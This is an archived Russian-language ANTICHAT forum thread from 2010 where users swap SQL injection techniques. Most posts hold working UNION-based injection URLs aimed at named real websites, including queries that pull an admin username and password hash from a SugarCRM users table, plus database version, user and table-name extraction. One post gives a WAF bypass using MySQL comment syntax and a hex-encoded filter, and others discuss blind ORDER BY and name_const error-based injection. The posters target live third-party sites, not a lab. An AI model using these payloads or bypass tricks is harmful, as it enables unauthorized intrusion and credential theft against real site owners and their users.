ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
16.10.2010, 00:49
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423
Репутация:
32
|
|
Сообщение от попугай
попугай said:
Фаервол стоит, который проверяет запросы на наличие запрещенных слов (from, information_schema и еще каких-то) и редиректит на служебную страницу с сообщением, что запрос отвергнут
Ну понятно, то есть какой-нибудь WAF стоит. Наверно и универсального решения тут не будет. Если это mod_security какой-нибудь, то есть пути обхода, начиная от простых вариантов типа /*!union*/ и т.д. Но если что-то более серьезное типа "Баракуды", которая специально нацелена на такого вида запросы, включая и работу с https, то тут все намного сложнее.
|
|
|
16.10.2010, 01:07
|
|
Новичок
Регистрация: 06.07.2009
Сообщений: 18
Провел на форуме:
54785
Репутация:
0
|
|
Сообщение от KREGI
KREGI said:
Логин админа
http://www.pro-projector.ru/news_N.php?id_page=13+and+1=0+%20Union%20Select%20 %201,2,3,user_name,5,6,7,8,9%20from%20proproj_suga rcrm.users
Хеш пароля админа
http://www.pro-projector.ru/news_N.php?id_page=13+and+1=0+%20Union%20Select%20 %201,2,3,user_hash,5,6,7,8,9%20from%20proproj_suga rcrm.users
p.s. отображаются в теге title
Неподходит ((
http://www.pro-projector.ru/admin/index.php
admin
1805
пробовал также +limit+1,1
snow
8500
тоже не подходит
|
|
|
|
16.10.2010, 01:11
|
|
Новичок
Регистрация: 06.07.2009
Сообщений: 18
Провел на форуме:
54785
Репутация:
0
|
|
Сообщение от mr.celt
mr.celt said:
Сам не сталкивался, а каким образом это проявляется?
ну вот живой пример:
http://www.scrz.ru/show_part.php?id=2061-999.9+union+select+1,version%28%29,3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20--
|
|
|
|
16.10.2010, 01:24
|
|
Новичок
Регистрация: 26.02.2010
Сообщений: 7
Провел на форуме:
14486
Репутация:
0
|
|
Всем спасибо, фильр в итоге обошел вот так
.php?id=10+union(SELECT+1,group_CONCAt(table_name) ,3,4,5+from+information_schema./*!tables*/+where+table_name+like(0x257573657225))
Плюсики накидал, ибо помогло.
|
|
|
|
16.10.2010, 01:28
|
|
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759
Репутация:
-9
|
|
Сообщение от grably
grably said:
ну вот живой пример:
http://www.scrz.ru/show_part.php?id=2061-999.9+union+select+1,version%28%29,3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20--
Код HTML:
HTML:
http://www.scrz.ru/show_part.php?id=2061+and+1=0+=null=null%20union%20select+1,database%28%29,3,4,5,6,7,8,9,10,11,%2012,13,14,user%28%29,version%28%29,17,18,19,20
ну а дальше блокирует как бы сказано выше...
Сообщение от grably
grably said:
Неподходит ((
http://www.pro-projector.ru/admin/index.php
admin
1805
пробовал также +limit+1,1
snow
8500
тоже не подходит
хм... не пойму почему... больше не где не нахожу хеши...
|
|
|
|
16.10.2010, 01:52
|
|
Познающий
Регистрация: 25.10.2007
Сообщений: 46
Провел на форуме:
318186
Репутация:
2
|
|
пля = \ помогите лимит подобрать = \
http://pogoda.v.ua/index.php?id=-264
Дошол до 120 и ничего = \
|
|
|
|
16.10.2010, 01:58
|
|
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759
Репутация:
-9
|
|
Сообщение от GroM88
GroM88 said:
пля = \ помогите лимит подобрать = \
http://pogoda.v.ua/index.php?id=-264
Дошол до 120 и ничего = \
_http://pogoda.v.ua/index.php?id=-264%20Union%20Select%20%201%20,%20version%28%29%20 ,3,4,5
Tag title
Интересно кому?
Код HTML:
HTML:
http://www.yadonor.ru/ru/become/calendar_day/index.php?id_4[]=20101009000000
|
|
|
|
16.10.2010, 08:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
1153
Репутация:
0
|
|
Сообщение от Strilo4ka
Strilo4ka said:
Example, we have mysql5.
Код:
Code:
select username from users order by username *(IF(ASCII(SUBSTRING(VERSION(),1,1))=53,1,-1))
No good.
site.php?orderby=-1 is true (ASC)
site.php?orderby=-2312 is true (ASC)
site.php?orderby=1 is false (no columns at all)
site.php?orderby=,1 is true (ASC)
site.php?orderby=*(IF(1=2,1,0)) is true (WTF???)
site.php?orderby=*(IF(1=1,0,0)) true again (asc)
Have no idea what to do. Any help?
|
|
|
|
16.10.2010, 08:54
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
2 grably:
http://www.scrz.ru/show_part.php?id=2061%20and%20ascii(lower(substrin g((select%20table_name%20from%20information_schema .tables%20limit%2017,1),1,1)))%3E1--
|
|
|
|
16.10.2010, 11:04
|
|
Новичок
Регистрация: 20.04.2010
Сообщений: 1
Провел на форуме:
4855
Репутация:
0
|
|
Подскажите как дальше разкручивается скуль с name_const
вот так показывает 5-ю версию
site.com/2.php?id=6+and+(1,2)in(select+*+from(select+name_c onst(version(),1),name_const(version(),1))as+a)&t= Community
как нужно изменить запрос чтобы вытянуть название таблиц из information_Schema.tables. Так ничего не выходит:
site.com/2.php?id=6+and+(1,2)in(select+*+from(select+name_c onst(table_name,1),name_const(table_name,1)+from+i nformation_Schema.tables)as+a)&t=Community
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
